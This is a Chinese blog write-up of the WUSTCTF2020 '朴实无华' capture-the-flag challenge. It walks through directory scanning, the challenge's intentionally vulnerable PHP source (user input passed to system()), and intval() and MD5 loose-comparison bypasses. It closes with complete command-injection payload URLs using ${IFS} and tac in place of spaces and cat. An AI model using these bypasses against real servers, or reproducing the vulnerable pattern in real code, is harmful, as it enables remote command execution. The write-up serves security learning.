知识点: 1. 目录扫描
2. burp抓包
3. 弱类型比较绕过
4. 科学计数法,md5碰撞
5. 系统命令以及空格的替换
用dirsearch 扫一下目录 ~
dirsearch -e txt,bak,zip,tgz -u ip -t 30
那么看一下这个robots.txt文件~
那继续访问fAke_flagggg.php~
服了,老六~
抓个包看看
发现了一个新的 地址fl4g.php
那就访问一下~
找到源码了~
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
开始代码审计~
需要绕过三个if~
第一个用到了intval()~
需要绕过 intval($num) < 2020 && intval($num + 1) > 2021 可以通过num=2e5(浮点数)来绕过
在php的7.0以下版本在intval()处理科学计数法的表示的字符串的时候,他会取e前面的数字部分作为整数部分进行转换比如:输入2e5 则会转化为 2.
而对于2e5+1输入时php会先处理2e5+1进行浮点数运算结果为200001.0后进行int类型转换为200001.
<?php
// PHP 7.0 以下版本的行为
// intval() 对科学计数法字符串的处理
$scientificNotation = "2e5";
$intValue = intval($scientificNotation);
echo $intValue; // 输出 2,因为只取了 "e" 前面的数字
// 浮点数运算和 intval() 的结合
$floatResult = "2e5" + 1; // 这会首先进行浮点数运算,得到 200001.0
$intValueAfterFloatOperation = intval($floatResult);
echo $intValueAfterFloatOperation; // 输出 200001,因为 intval() 将浮点数转换为了整数
// 注意:这里的 "2e5 + 数字" 表达式本身不会返回字符串类型,而是浮点数
// 只有当你试图将其转换为字符串(例如使用 strval())并以某种方式拼接时,它才会成为字符串的一部分
?>
开始绕过第二个~
要绕过$md5==md5($md5).
可以输入md5=0e215962017,那么md5($md5)=0e291242476940776845150308577824,两个结果都是以0e开头通过弱类型比较,0e215962017和0e291242476940776845150308577824都会被当作科学计数法中的0来处理,因为e后面的数字太大,被当作0处理。所以根据PHP的类型转换规则,这两个数被认为是相等的,因此表达式成立,下面是本关md5碰撞的python代码~
import hashlib
def find_special_input():
num = 0
while True:
input_str = '0e{:d}'.format(num)
hash_str = hashlib.md5(input_str.encode()).hexdigest()
if hash_str[:2] == '0e' and hash_str[2:].isdigit():
if hash_str == hashlib.md5(hash_str.encode()).hexdigest():
return input_str, hash_str
num += 1
input_str, hash_str = find_special_input()
print("Input String:", input_str)
print("MD5 Hash:", hash_str)
开始绕过第三个~
第三个就很简单了,只需绕过空格和cat
空格可以用${IFS}$9来替换~
cat可以用more,tac来代替~
最后让我们开始构造payload~
http://c48c47bc-8460-4fbf-bf8f-a69b919a730c.node5.buuoj.cn:81/fl4g.php/?num=2e5&md5=0e215962017&get_flag=ls
http://c48c47bc-8460-4fbf-bf8f-a69b919a730c.node5.buuoj.cn:81/fl4g.php/?num=2e5&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到flag值,游戏结束~
标签:hash,WUSTCTF2020,get,flag,num,str,朴实无华,md5 From: https://blog.csdn.net/alwtj/article/details/139574247